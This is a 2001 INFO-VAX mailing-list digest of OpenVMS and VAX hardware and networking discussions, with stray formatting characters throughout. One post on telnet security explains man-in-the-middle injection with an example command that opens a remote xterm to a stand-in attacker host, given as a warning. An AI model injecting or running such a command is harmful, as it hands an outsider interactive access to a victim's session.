1 INFO-VAX	Fri, 04 May 2001	Volume 2001 : Issue 248       Contents: Re: - FTSO and FTSV , RE: 1GHz Alpha EV68CB Microprocessor Exposed+ Re: Anybody want a VaxStation 3100-M48 SPX? * Re: Anyone got any Volker-Craig Terminals? RE: Capellas Knows VMS  Re: DECnet-Plus and PS17 Printer Re: DFU tool Vs. DFO Re: dialback telnet?# Emulex DM01 Controller info needed.  ghostscript gs7_00( Re: invalid media_format yamaha CRW6416S( Re: invalid media_format yamaha CRW6416S Re: IP over Fibre Channel... Re: IP over Fibre Channel... Re: KVM Switch Re: LAT v Telnet Performance Re: LAT v Telnet Performance$ RE: moving 6.2 from Pelican to 433AU> Re: Multiple languages and Gnome/GTK+/KDE, was: Re: Open Motif> Re: Multiple languages and Gnome/GTK+/KDE, was: Re: Open Motif Re: Need help with a 3100/76 New Oxygen VX1's in stock  Re: NTP system time adjustment.  Re: Open Motif1 Re: Test!  Please post a response if you see this % Re: Wanted: VAX or microVax in the UK > [INFO] =?iso-8859-1?Q?Z=FCrich?= Tech Update seminar confirmedB Re: [INFO] =?iso-8859-1?Q?Z=FCrich?= Tech Update seminar confirmedB Re: [INFO] =?iso-8859-1?Q?Z=FCrich?= Tech Update seminar confirmed5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100% 5 Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%   F ----------------------------------------------------------------------  % Date: Thu, 03 May 2001 14:55:57 -0400 2 From: norm lastovica <norman.lastovica@oracle.com> Subject: Re: - FTSO and FTSV* Message-ID: <3AF1A9BD.AE8345F5@oracle.com>   Bert Medley wrote: > F > I have an application that uses FTSV as a core technology.  It is myM > understanding that FTSV will not be supported under OpenVMS 7.2 (soon to be J > released).  Does anyone have any expereience porting C applications that) > use FTSV to FTSO?  Looking for input...  	 1 	Supported or not, I'm using FTSV on OpenVMS V7.3 6 right now and haven't noticed any problems (not to say that there aren't any).    > 	 > Thanks!    --  > norman lastovica / oracle rdb engineering / usa / 610.696.4685   ------------------------------  % Date: Thu, 03 May 2001 11:12:29 -0700 ! From: Shane.F.Smith@Healthnet.com 5 Subject: RE: 1GHz Alpha EV68CB Microprocessor Exposed D Message-ID: <OFBB34C185.3CD2C306-ON88256A41.00619937@foundation.com>  I There is an AMD chipset that supports multiprocessor, it's the 760MP if I A recall correctly, but don't quote me. It's in production, but the I motherboards aren't yet on sale. There's been a little confusion recently J as to whether it's targeted for the current "thunderbird" model athlons orH the upcoming "palomino". The fastest t-bird is 1.33Ghz on a 266 FSB (ddrI 133mhz), but the "axia" stepping chips are successfully overclocking much K higher, some even up to 1.8ghz and Ive seen reports of one reaching 2.2ghz. D Sounds like there's plenty of headroom in the design.The palomino isG expected to debut at 1.5ghz, and from odd comments I've read I think it B takes the same shaped socket, but with an extra power line or two.H Motherboards will be backwards compatible, but not necessarily forwards.  B Not that I'm preparing for an approaching upgrade, or anything....   Shane           : Rudolf Wingert <win@fom.fgan.de> on 05/02/2001 11:23:40 PM  2 Please respond to Rudolf Wingert <win@fom.fgan.de>   To:   Info-VAX@Mvb.Saic.Com  cc:   6 Subject:  RE: 1GHz Alpha EV68CB Microprocessor Exposed     Hello,   Kerry Main wrotes:   >>> K Try and find a dual cpu (or more) server from any of the major players with H each cpu having greater than 1Ghz speed. The top x86 servers from Compaq and 2 Dell are in the range of 700Mhz and 900Mhz models. <<<   ? AFAIK AMD do produce a dual processor PC with 1.4Ghz clocktime.    Regards Rudolf Wingert   ------------------------------   Date: 3 May 2001 17:35:09 -0400 5 From: pechter@i4got.pechter.dyndns.org (Bill Pechter) 4 Subject: Re: Anybody want a VaxStation 3100-M48 SPX?4 Message-ID: <9csiud$1ia0$1@i4got.pechter.dyndns.org>  % In article <HW5I6.20$aA2.1843@wards>, 5 Adrian Lumsden <A.Lumsden@spam.trap.xdt.co.uk> wrote: ? >I'm going to be moving shortly and need to free up some space.  > F >I have a VAXStation 3100-M48 SPX with CD-ROM, RZ25 (426MB), dual SCSIH >controllers, keyboard and mouse and VRT19-HA monitor looking for a good >home. > D >I also have an HP Envizex X-Terminal with keyboard and mouse but no% >monitor that's about to be orphaned.  > C >I'm in the Leicester area of England. If you're interested and can / >collect then drop me a line or give me a call.  >  >best regards, >  >Adrian Lumsden  >XDT Computer Systems Ltd.% >A.Lumsden at xdt period co period uk  >+44 (1455) 828896)    If it was only in the states. 6 Shipping across the Atlantic probably would be costly.   --  F  "Bill Gates is a Persian cat and a monocle away from being a villain H   in a James Bond movie"  - Dennis Miller || bpechter@shell.monmouth.com   ------------------------------  % Date: Thu, 03 May 2001 13:18:26 +0100 - From: Roy Omond <Roy.Omond@BlueBubble.UK.Com> 3 Subject: Re: Anyone got any Volker-Craig Terminals? 1 Message-ID: <3AF14C92.593F8813@BlueBubble.UK.Com>    Beyonder wrote:  > & > No Frank, a PC emulator will NOT do.3 > an emulator is NOT a physical piece of equipment. = > I want the actual terminal, not a crappy piece of software.    Hmmm...   @ I think that's a bit harsh, describing Kermit as "a crappy piece> of software".  Kermit is up there amongst the finest pieces of2 software ever written in the history of computing.  / Methinks you could have been a bit more polite.    sheesh,   	 Roy Omond  Blue Bubble Ltd.   ------------------------------  % Date: Thu, 03 May 2001 16:33:40 -0500 + From: "Main, Kerry" <Kerry.Main@compaq.com>  Subject: RE: Capellas Knows VMS R Message-ID: <DC4745D1A85CA04180C83CDC706A9D180D95BE@cthexc02.americas.cpqcorp.net>  J >>> Just as a matter of interest would you actually recommend this type ofK solution to standard type of N tier architecture that many apps now have of ! Web->Apps Server->DBMS Server.<<<   J The old "..it depends" is likely the best way to answer this. Depends on aH number of requirements. As an example, from a security perspective, some> would argue that various levels should not be on the same HW.   J The Apps don't know what is going on under it, so there are no application changes required.   L However, another way of looking at it might be that the system is configuredJ as a Galaxy environment, but the CPU's are only migrated on an as requiredE basis manually ie. perhaps only when a month end bunch of activity is  completed etc.  J Many different ways to slice this - it all depends on what you are looking to accomplish.   Regards,  
 Kerry Main Senior Consultant  Compaq Canada Inc. Professional Services  Voice: 613-592-4660  Fax  :  819-772-7036 Email: Kerry.Main@Compaq.com     -----Original Message-----7 From: andrew harrison [mailto:andrew.nospam@uk.sun.com]  Sent: May 3, 2001 11:27 AM To: Info-VAX@Mvb.Saic.Com  Subject: Re: Capellas Knows VMS      "Main, Kerry" wrote: >  > Kevin, > F > Fwiw, I have found that a good way to describe Galaxy is with a real example / > of the type of functionality you can acheive.  > A > You can setup a mid tier (Secure Apache Web Server or whatever)  application L > partition sharing CPU's and common memory with a back end database partion - J > on the same physical HW system. The IO sub-systems are still independant of
 > each other.  >   : Just as a matter of interest would you actually recommend > this type of solution to standard type of N tier architecture 9 that many apps now have of Web->Apps Server->DBMS Server.      regards  Andrew Harrison  Enterprise IT Architect    ------------------------------   Date: 4 May 2001 00:02 CST' From: carl@gerg.tamu.edu (Carl Perkins) ) Subject: Re: DECnet-Plus and PS17 Printer , Message-ID: <4MAY200100023922@gerg.tamu.edu>   arcarlini@iee.org writes... % }I mistyped it again ... the one that ' }gives a silly constraint violation is:  } ! }	$ MC NCL SHOW DTSS COURIER ROLE  } ( }(and just in case I messed up again ...& }there should be no DECNET above :-) ) } - }Maybe I'll update to V7.3 when it comes out. # }And maybe I'll just leave it alone # }because it works quite happily and # }currently has no other DECnet node  }to talk to :-(  }  }Antonio   Interesting... $ MC NCL SHOW DTSS COURIER ROLE  [...]  Characteristics ;     invalid attribute value: Courier Role = <Default value>   A So it doesn't give me a constrating violation, but it still gives 6 what I would consider to be a rather strange response.   --- Carl   ------------------------------  $ Date: Thu, 3 May 2001 01:23:46 +01001 From: "Chris Townley" <news@townleyc.demon.co.uk>  Subject: Re: DFU tool Vs. DFO @ Message-ID: <988930444.1064.0.nnrp-13.d4e45fa5@news.demon.co.uk>  1 Definitely not the only problem with Perfect Disc   J We run it on a number of production machines, generally without hitch, butH last time I ran it on my development VAX it corrupted a number of ratherH crucial files - one of which, as it was an Ingres checkpoint, and due toK timing,  I had no backup. Tried again a few days later and the same problem F came up. As a result it runs on neither my development VAX, nor Alpha.     -- Chris   H "Jim Hibbits - RAXCO, Inc." <hibbits@encompasserve.org> wrote in message- news:usy+5L5tnjP9@eisner.encompasserve.org... D > > i'm interested in "problems with perfectdisk" also, we run it... > >  > > jim  > >  > C > The problem that they had was they ran PD/DISPLAY, an interactive E > screen tool, in batch.  The call was initiated in Ireland, but held E > in our English distributor's office for a while.  Once forwarded to : > me in the States, the problem was resolved within hours. > J > Interestingly, we'd never heard of anybody trying to run the screen tool inE > batch before, so we were completely unaware of a potential problem,  > nor had we anticipated it! > 
 > Jim Hibbits  > Raxco Software, Inc.   ------------------------------   Date: 3 May 2001 22:34:17 GMT 2 From: mathog@seqaxp.bio.caltech.edu (David Mathog) Subject: Re: dialback telnet? , Message-ID: <9csmd9$nh6@gap.cco.caltech.edu>  U In article <9cpfqm$2eg$1@aquila.mdx.ac.uk>, david20@alpha1.mdx.ac.uk (D.Webb) writes: b >In article <9cp6m4$pf4@gap.cco.caltech.edu>, mathog@seqaxp.bio.caltech.edu (David Mathog) writes:K >>Back in the days of dialup sessions it was common to implement a dialback I >>strategy for security reasons.  I know that the preferred way to obtain K >>security these days is to use ssh, but our campus network is now entirely K >>switched, and so telnet across campus should be safe (unless somebody has G >>gained control of the routers or switches, in which case we're pretty  >>likely screwed in any case.)   >> > O >Or they are using dsniff to sniff your switched network using ARP redirection.  > E >http://www.infoworld.com/articles/op/xml/00/05/29/000529opswatch.xml   B Going back to my original question, what I was thinking about was G setting up a secure (relatively speaking, sigh) https page that people  H could use to log in from their browser.   The username/password would goI into that encrypted and that would fire off the "dialback" telnet to send  both a       telnet://machine:port/  I to the browser and start up an image already logged in as that user which I would make the connection back.  The sniffer could pull out whatever they E did in that stream, but it wouldn't ever get a shot at an unencrypted 
 password.   L That said, if I'm reading the dsniff stuff correctly, it's a variant of the J man in the middle attack, and it looks like it could also be used to stuffI packets (containing commands) into any unencrypted connection it got it's > mitts on. In particular, like it could insert something like:   ,   xterm -display bigtrouble.hacker.net:0.0 &  H and then block the echo, so that the unsuspecting user never knows what K happened.  This _almost_ works on VMS now (xterm complains about the &) but 7 once DII/COE is implemented it will surely work as is.    I I don't see any way to fire up an ssh session from a PC or Mac no matter  G what, since, as far as I know, there's no "ssh://host:port/" URL format  defined.  Or for Kerberos.   Regards,   David Mathog mathog@caltech.edu? Manager, sequence analysis facility, biology division, Caltech     ------------------------------  % Date: Fri, 04 May 2001 00:22:29 -0400 * From: Doug Mallory <dmallory@interlog.com>, Subject: Emulex DM01 Controller info needed., Message-ID: <3AF22E85.95DC4A6F@interlog.com>   Hi follow DEC enthusiasts.H I have a crashed drive on a DM01 controller some has asked me about, andH am now looking for any info on starting a format with this card. I thinkA it may not have the menu configuration and diags program that the F "newer" controllers have, but uses the older load commands by specific> deposits to the sa register. It does respond to the following. d/w/p 2000146a 3003 & e * > 100     !This is a good response< d * 4400    ! I get a 200 back..Now I am confused on Examine Tried d * 0 F e * > 400  !OK now I have no idea what I just told it to do, hopefully this is not  a write nvram command!$ Anyone have a manual for this beast?* This controller is at rev C if that helps. Thanks much guys for your time.  Doug.    ------------------------------  + Date: Thu, 03 May 2001 20:09:33 +0100 (CET) ' From: SWARS@mailer.MPI-STUTTGART.MPG.DE  Subject: ghostscript gs7_00 < Message-ID: <01K3510049SY8X2R82@MAILER.MPI-STUTTGART.MPG.DE>   Hi all  @ is ther sambody around how have build the gs7 under ovms alpha ?M i have tried it with the mmk/descript=[.src]openvms.mmk/macro=("decwindows1_2  =1","a4_paper=1") < and it ends up with an error %x1c14803c when updating target [.obj]gdevp14.obj I I am glad to hear from you because we need the functionallity post to pdf  h.swars    ------------------------------  $ Date: Thu, 3 May 2001 20:31:45 +02003 From: "Philippe Bocher" <philippebocher@wanadoo.fr> 1 Subject: Re: invalid media_format yamaha CRW6416S % Message-ID: <9cs86r$ac8$1@wanadoo.fr>   ) Now at home... I don't have the cd writer L "Hoff Hoffman" <hoffman@xdelta.zko.dec.nospam> a crit dans le message news:% VReI6.89$lP5.2144@news.cpqcorp.net... L > In article <3af163d2$1@news.euriware>, "Pbo" <philippe.bocher@euriware.fr> writes: . > :    I've got one... (support contract ;-) ) > K >   Beware: I strongly suspect you are going to be asked to try a supported K >   widget.  I've been using a Plextor 12/4/32 CD-R/CD-RW -- not officially # >   supported -- with some success.  > 	     Right    > :    - I can't read any CDs  > F >   Ugh.  That's a bad sign.  IIRC, you indicated that this same driveH >   operated correctly prior to the OpenVMS release in use here.  (WhichE >   is another bad sign.)  Can you gather the output from the utility B >   SYS$ETC:SCSI_INFO running from that (working) OpenVMS release?C >   (You can boot the distribution CD-ROM from that release, if you & >   have it -- no need to re-install.) > L     I have not tested it yet with another version of VMS (my english may letI you suppose I have done it :-(  ) but I 'll try it tomorrow morning while 3 you are asleep  ;-)     (remember my e-mail is .fr)   K     In my first post I've put the result of scsi_info as an attachment with  version 7.2-1H1   K     But I can't really explain why it doesn't want to read anything as it's H writing well...In fact I don't mind cause I can write a disk and read it. from anoher reader but my curiousity is not OK  L > :    - It seems to be working (ni debug mode) but write only with cdrecord > :1.5 (yours...)m > E >   Mine?  While I have been working inside both CDRECORD and CDWRITEmC >   source code in recent times, I do not have a version available.n2 >   (Some confusion with Eberhard Heuser-Hofmann?) >-B     Sorry ... But I'm pretty sure the last name I've seen is yours  J > :    I've tried to upgrade the firmware because I was not able to access theAC > :CD from srm (try to boot from the vms cd or the firmware cd ...)y > J >   Assuming this widget is configured for 512-byte block operations, thisK >   looks to be a hard incompatibility or a low-level configuration problem.K >   with the drive or the SCSI.  (Folks keep telling me that all these SCSI I >   widgets are all fully interchangable, but I don't believe them... :-)t >aI     looking at deja.com (comp.os.vms) I think I've seen a post saying thet5 same CDR works fine under VMS... I'll try to find it. K     I'll try tomorrow with another station to be sure it's not a HW problemu
 on my stationo  ( >  ---------------------------- #include' <rtfaq.h> -----------------------------eL >       For additional, please see the OpenVMS FAQ -- www.openvms.compaq.com, >  --------------------------- pure personal# opinion ---------------------------m1 >    Hoff (Stephen) Hoffman   OpenVMS Engineering- hoffman#xdelta.zko.dec.com >4   ------------------------------  # Date: Thu, 03 May 2001 18:44:31 GMTD= From: system@SendSpamHere.ORG (Brian Schenkenberger, VAXman-) 1 Subject: Re: invalid media_format yamaha CRW6416Sp0 Message-ID: <009FB768.06AE271F@SendSpamHere.ORG>  e In article <VReI6.89$lP5.2144@news.cpqcorp.net>, hoffman@xdelta.zko.dec.nospam (Hoff Hoffman) writes: S >In article <3af163d2$1@news.euriware>, "Pbo" <philippe.bocher@euriware.fr> writes:l- >:    I've got one... (support contract ;-) )H >iJ >  Beware: I strongly suspect you are going to be asked to try a supportedJ >  widget.  I've been using a Plextor 12/4/32 CD-R/CD-RW -- not officially" >  supported -- with some success. >  >:    - I can't read any CDs >tF >  Ugh.  That's a bad sign.  IIRC, you indicated that this same drive G >  operated correctly prior to the OpenVMS release in use here.  (WhichrD >  is another bad sign.)  Can you gather the output from the utilityA >  SYS$ETC:SCSI_INFO running from that (working) OpenVMS release?eC >  (You can boot the distribution CD-ROM from that release, if you e% >  have it -- no need to re-install.)t >iK >:    - It seems to be working (ni debug mode) but write only with cdrecorda >:1.5 (yours...) >-E >  Mine?  While I have been working inside both CDRECORD and CDWRITE qD >  source code in recent times, I do not have a version available.  1 >  (Some confusion with Eberhard Heuser-Hofmann?)t  0 If you've seen one Hoffman you seen 'em all.  :)    B I did some mods to Eberhard's port of CDRECORD to make it properlyB function on VMS.  Eberhard included those fixes in his code.  I'veC been using a Yamaha too to burn CD-Rs and CD-RWs.  All burns I have>C done have been successful with the Yamaha but I cannot read any CDsiB with the Yamaha.  That's not a problem for me as I have about fourA dozen CDroms at my disposal.  However, it would be nice to see iteB also function as a reader of the media it is capable of burning.    A I've also been lent a number of other SCSI CD-R/RW burners to try @ for testing purposes and, in one case, to actually fix a problemA in CDRECORD.  I've had mixed results with all of them in terms of0+ getting VMS to use these drives as readers.o   --O VAXman- OpenVMS APE certification number: AAA-0001     VAXman(at)TMESIS(dot)COMi            pO city, n., 1. a place where trees are cut down and streets are named after them.w   ------------------------------  # Date: Thu, 03 May 2001 21:44:52 GMTt From: Dirk Munk <munk@home.nl>% Subject: Re: IP over Fibre Channel...a' Message-ID: <3AF1D14A.34276CDA@home.nl>    Hoff Hoffman wrote:   Z > In article <3af07431.41939297@news.demon.co.uk>, alan@fay.demon.co.uk (alan fay) writes: >w > :Is this possible on OpenVMS?n >pJ >   The OpenVMS Fibre Channel drivers do not currently offer an (internal)J >   VCI interface, thus the network protocols and host-to-host SCS are not  >   feasible over Fibre Channel. >nH >   The addition of VCI (and thus networking and SCS over Fibre Channel)K >   in the Fibre Channel drivers is a capability that folks here in OpenVMSlH >   Engineering -- and that includes me -- would like to see added.  But/ >   this capability is not presently available.r  V I think we all agree networking should be added, specially SCS. In a disaster tolerantR multi-site cluster, it would be great if the SCS traffic could be transported overX fibrechannel. In these dark days where network guys are quite often IP-only-guys, it can[ cause quite a headache to get a SCS connection between all sites involved. "("We just do IPlY routing, no bridging. Can't it be done with IP ? NO !!") I suppose it would be a lot more0U easy to market these kind of clusters with fibrechannel, if the SCS traffic would not [ require al kind of extra network trouble. Maybe this view can convince the people in chargen2 to start developing networking over fibrechannel ?         >s >k >         -- > M >   NAS vs SAN: Network Area Storage configurations provide storage protocolsyO >   over network hardware, while Storage Area Network configurations (eg: Fibre K >   Channel) (potentially) provide for network protocols over (distributed)e >   storage hardware.h >oP >  ---------------------------- #include <rtfaq.h> -----------------------------L >       For additional, please see the OpenVMS FAQ -- www.openvms.compaq.comP >  --------------------------- pure personal opinion ---------------------------N >    Hoff (Stephen) Hoffman   OpenVMS Engineering   hoffman#xdelta.zko.dec.com   ------------------------------  # Date: Fri, 04 May 2001 00:24:24 GMT-& From: "Kevin" <get_the_puck@yahoo.com>% Subject: Re: IP over Fibre Channel...@= Message-ID: <YEmI6.12055$V%6.3968432@typhoon.ne.mediaone.net>s  > Here's a vote for IP over FMC. One more reason not to use EMC.  
 Evan Wells State Street Corp.  + "Dirk Munk" <munk@home.nl> wrote in messaged! news:3AF1D14A.34276CDA@home.nl...n >. >/ > Hoff Hoffman wrote:  >,I > > In article <3af07431.41939297@news.demon.co.uk>, alan@fay.demon.co.ukt (alan fay) writes: > >m! > > :Is this possible on OpenVMS?e > >eL > >   The OpenVMS Fibre Channel drivers do not currently offer an (internal)L > >   VCI interface, thus the network protocols and host-to-host SCS are not" > >   feasible over Fibre Channel. > >rJ > >   The addition of VCI (and thus networking and SCS over Fibre Channel)E > >   in the Fibre Channel drivers is a capability that folks here inn OpenVMSJ > >   Engineering -- and that includes me -- would like to see added.  But1 > >   this capability is not presently available.c >@F > I think we all agree networking should be added, specially SCS. In a disaster toleranttC > multi-site cluster, it would be great if the SCS traffic could beg transported overE > fibrechannel. In these dark days where network guys are quite oftent IP-only-guys, it canL > cause quite a headache to get a SCS connection between all sites involved. "("We just do IPG > routing, no bridging. Can't it be done with IP ? NO !!") I suppose ite would be a lot moreiE > easy to market these kind of clusters with fibrechannel, if the SCSt traffic would notIL > require al kind of extra network trouble. Maybe this view can convince the people in charge4 > to start developing networking over fibrechannel ? >s >l >  >  > >  > >n > >         -- > > E > >   NAS vs SAN: Network Area Storage configurations provide storage:	 protocols K > >   over network hardware, while Storage Area Network configurations (eg:i Fibrer? > >   Channel) (potentially) provide for network protocols over 
 (distributed)  > >   storage hardware.  > > * > >  ---------------------------- #include' <rtfaq.h> -----------------------------N7 > >       For additional, please see the OpenVMS FAQ --n www.openvms.compaq.com. > >  --------------------------- pure personal# opinion ---------------------------03 > >    Hoff (Stephen) Hoffman   OpenVMS Engineering? hoffman#xdelta.zko.dec.com >E   ------------------------------  % Date: Thu, 03 May 2001 11:19:34 -0700l! From: Shane.F.Smith@Healthnet.comh Subject: Re: KVM SwitchaD Message-ID: <OFE17D31D5.3E71AE5F-ON88256A41.006463DF@foundation.com>  I Suggestion: gather as much information on the interfaces as possible, andtJ approach the local college. If they have electronics classes, the lecturerK might be interested in doing a project to build a converting KVM switch, or 0 a student might fancy trying it for a few bucks.   Shane           E "David J. Dachtera" <djesys.nospam@fsi.net> on 05/03/2001 07:05:17 AM   = Please respond to "David J. Dachtera" <djesys.nospam@fsi.net>a   To:   Info-VAX@Mvb.Saic.Com  cc:d   Subject:  Re: KVM Switch     Rob Brown wrote: >=1 > john nixon <jnixon@cfl.rr.com> wrote in article=7 > <gFxH6.154128$o9.20894500@typhoon.tampabay.rr.com>...eJ > > Is anyone familiar with this?   It allows you to connect the Keyboard, > Video H > > and Mouse from several host systems to one side of the switch, and a > singleE > > keyboard, video terminal and mouse to the other.  You then manage] severaliJ > > host systems from one console monitor.   Does this work for VMS (Alpha > VMSt- > > 7.2-1 if that makes a difference) systems$ >oI > Is there any chance of finding one that would allow an old DEC 3000-400O to > share KVM with a modern PC?o  E I guess I would view the problem as having more to do with converting  interfaces than anything else.  C You'd need a way to reconcile the RGB, sync-on-green video from the0. Alpha with the (s)VGA needs of the monitor/PC.  G You'd need a way to reconcile the differences in the keyboard and mouse] interfaces.o  = I'm sure it can be done, but don't personally have first-hand  experience.t   -- David J. Dachtera% dba DJE Systemso http://www.djesys.com/  : Unofficial Affordable OpenVMS Home Page and Message Board: http://www.djesys.com/vms/soho/-  F This *IS* an OpenVMS-related newsgroup. So, a certain bias in postings is to be expected.  @ Feel free to exercise your rights of free speech and expression.  F However, attacks against individual posters, or groups of posters, are strongly discouraged.    ------------------------------  % Date: Thu, 03 May 2001 20:08:59 -0700 - From: Jack Patteeuw <jjpatteeuw@peoplepc.com>e% Subject: Re: LAT v Telnet Performancee, Message-ID: <3AF21D4B.A2040CAB@peoplepc.com>   David B Sneddon wrote: >  > Hi Folks,o > D > Is anyone aware of any studies/tests that have been done comparingB > the performance of LAT and Telnet?  If so, where can I get them?E > I have been searching for any such documents but have not been able  > to locate any.  @ Given the "age" of LAT, I doubt if you will ever find the "hard"H evidence you want.  Besides if your talking "host to host", I doubt that= you will see any measurable performance increase or decrease.d  A Remember that LAT was designed to connect a "bunch" (up to 64? ontE DECserver 5xx;  still got a few of those kicking around; unplugged !)cA terminals (yes, honest to gosh VTxxx's !!!) to one or more hosts.t  D There was a study done (long ago, in a galaxy far, far away) by someC company that was selling LAT for Unix (Meridian ?) that showed veryrA measurable performance increase when using LAT terminal server toiH connect to a Unix host as opposed to telnet terminal servers because LATG "packed" it's data and actually reduced the number of interrupts on the 5 host.  Much too long ago to remember (but why do I?).u    
 Jack Patteeuwo   ------------------------------  % Date: Fri, 04 May 2001 00:43:54 -0400h* From: Doug Mallory <dmallory@interlog.com>% Subject: Re: LAT v Telnet Performancec, Message-ID: <3AF2338A.638B1233@interlog.com>   Jack Patteeuw wrote:   > David B Sneddon wrote: > > 
 > > Hi Folks,n > ><F > > Is anyone aware of any studies/tests that have been done comparingD > > the performance of LAT and Telnet?  If so, where can I get them?G > > I have been searching for any such documents but have not been ablea > > to locate any. > B > Given the "age" of LAT, I doubt if you will ever find the "hard"J > evidence you want.  Besides if your talking "host to host", I doubt that? > you will see any measurable performance increase or decrease.  > C > Remember that LAT was designed to connect a "bunch" (up to 64? oneG > DECserver 5xx;  still got a few of those kicking around; unplugged !)1C > terminals (yes, honest to gosh VTxxx's !!!) to one or more hosts.r > F > There was a study done (long ago, in a galaxy far, far away) by someE > company that was selling LAT for Unix (Meridian ?) that showed verydC > measurable performance increase when using LAT terminal server toiJ > connect to a Unix host as opposed to telnet terminal servers because LATI > "packed" it's data and actually reduced the number of interrupts on theb7 > host.  Much too long ago to remember (but why do I?).h >. > Jack Patteeuwe  J I, like others here have no measured stats on telnet /Lat performance, but LAT isJ much tighter and smaller in its packet transfer. It is not routable due to@ the fact it is hardware address specific when addressing a "box" destination, like netbeui.K Telnet uses TCP, which can "fix" lost packets on a busy network, Lat can't.+K The closest IP equivalant would be using UDP, which is smaller packets, buta withoutaG the control of retransmits or out of order packets. (out of order can,t I happen on a closed lan), but TCP packets include all this extra stuff pere packet that LAT doesn't G use at all. Lat as a result, should be much quieter on the network in a I small to medium environment, as well as using less kernel resource on then target system.  
 I guess... Doug.D   ------------------------------  # Date: Thu, 03 May 2001 17:52:07 GMTa2 From: hoffman@xdelta.zko.dec.nospam (Hoff Hoffman)- Subject: RE: moving 6.2 from Pelican to 433AUa0 Message-ID: <bVgI6.98$lP5.2288@news.cpqcorp.net>  ] In article <CIEJLCMNHNNDLLOOGNJIIEBBCIAA.tom@kednos.com>, Tom Linden <tom@kednos.com> writes:rJ :Well, I give, I couldn't find the table, unless you were talking about he :release history thing.e  @   If you can tell me what string(s) you searched for, I will add?   them to the next edition of the FAQ; to make this information    easier to find.:  E   I would encourage a download of and use of the text version of the CF   OpenVMS FAQ, as this makes it easy to use SEARCH and EDIT to search E   for or read topics.  (The HTML-ized version also works nicely, but d,   you need a different set of search tools.)  1 :...What is the latest HW on which I can run 6.2?p  )   You will want an EV5 or prior system.  .  5   An EV56 system requires V6.2-1H3, or V7.1 or later.a   	--h  E   I have included the relevent portion of the OpenVMS FAQ below.  ThepC   section includes the rule-of-thumb I had referenced, and includeseD   the URL for the table of minimum versions for specified platforms.     From the OpenVMS FAQ...e    < ------------------------------------------------------------* VMS13.  What version of OpenVMS do I need?  6 For information on supported platforms, please see the2 OpenVMS Software Product Description (SPD) for the' particular OpenVMS version of interest.d  !   http://www.compaq.com/info/spd/d:   OpenVMS typically uses SPD 25.01.xx and/or SPD 41.87.xx.  6 For a table of OpenVMS versions for various platforms, please see:i  9   http://www.openvms.compaq.com/openvms/supportchart.htmly  9 For information on the Multia, related Alpha single-boardw: computers, or other officially unsupported systems, please see ALPHA8 and ALPHA13.X  < The following is a rule-of-thumb for Alpha platform support.: The table contains the earliest OpenVMS Alpha release with9 support for a particular series of Alpha microprocessors:e  $ Microprocessor | OpenVMS   | General%   Generation   | Version   | Commentse  G   21064  EV4   : V1.0      : few systems; most EV4 req later; upg availn5   21164  EV5   : V6.2      : subsequent upg availabler=   21164A EV56  : V6.2-1H3  : subsequent upg to V7.1 and later H   21264  EV6   : V7.1-2    : subsequent upg typically to V7.2-1 or laterH   21264A EV67  : V7.1-2    : subsequent upg typically to V7.2-1 or laterE   xxxxxx EV68  : V7.2-1    : believed/probable; currently expectationr  < ------------------------------------------------------------    N  ---------------------------- #include <rtfaq.h> -----------------------------N       For additional, please see the OpenVMS FAQ -- www.openvms.compaq.com    N  --------------------------- pure personal opinion ---------------------------L    Hoff (Stephen) Hoffman   OpenVMS Engineering   hoffman#xdelta.zko.dec.com   ------------------------------    Date: 04 May 2001 03:55:49 +0800, From: Paul Repacholi <prep@prep.synonet.com>G Subject: Re: Multiple languages and Gnome/GTK+/KDE, was: Re: Open Motifu- Message-ID: <87u2326wca.fsf@prep.synonet.com>   D Simon Clubley <simon_clubley@remove_me.excite.com-Earth.UFP> writes:  / > On Wed, 2 May 2001 17:01:55 -0400, in article > > <pB_H6.74$lP5.1704@news.cpqcorp.net>, Fred Kleinsorge wrote:  C > >I myself would prefer us to implement Gnome/GTK+/KDE rather thanr# > >invest in new versions of Motif.e  5 And keep the current (DECWindows) 1.x Motif please...w  C > I would also like to see either GTK+/Gnome or KDE on VMS. What isnD > the current situation with KDE for languages other than C/C++ ? (IF > know that GTK+/Gnome has support for multiple languages.) I have notC > written code with either yet, but my preference is for GTK+/Gnomea+ > because of the multiple language support.u  A > What is the current thinking in VMS Engineering with regards to6> > supporting languages other than C/C++ for new GUI toolkits ?  G See the calling standard in the manuals. The SDL files would need to be F created so other compilers can get the definitions they need, but this1 is VMS, not some half arsed refugee from the 70s.-   -- i< Paul Repacholi                               1 Crescent Rd.,7 +61 (08) 9257-1001                           Kalamunda.4@                                              West Australia 6076. Raw, Cooked or Well-done, it's all half baked.H Spam-To: uce@ftc.gov,enforcement@sec.gov,sness@fcc.gov,hfurchtg@fcc.gov,#   mpowell@fcc.gov,gtristan@fcc.gov l   ------------------------------  % Date: Fri, 04 May 2001 00:10:37 +0200t) From: Christof Brass <brass@infopuls.com>rG Subject: Re: Multiple languages and Gnome/GTK+/KDE, was: Re: Open Motifb, Message-ID: <3AF1D75D.C4BD569B@infopuls.com>   Paul Repacholi wrote:n > F > Simon Clubley <simon_clubley@remove_me.excite.com-Earth.UFP> writes: > 1 > > On Wed, 2 May 2001 17:01:55 -0400, in article @ > > <pB_H6.74$lP5.1704@news.cpqcorp.net>, Fred Kleinsorge wrote: > E > > >I myself would prefer us to implement Gnome/GTK+/KDE rather thann% > > >invest in new versions of Motif.y > 7 > And keep the current (DECWindows) 1.x Motif please...m > E > > I would also like to see either GTK+/Gnome or KDE on VMS. What isbF > > the current situation with KDE for languages other than 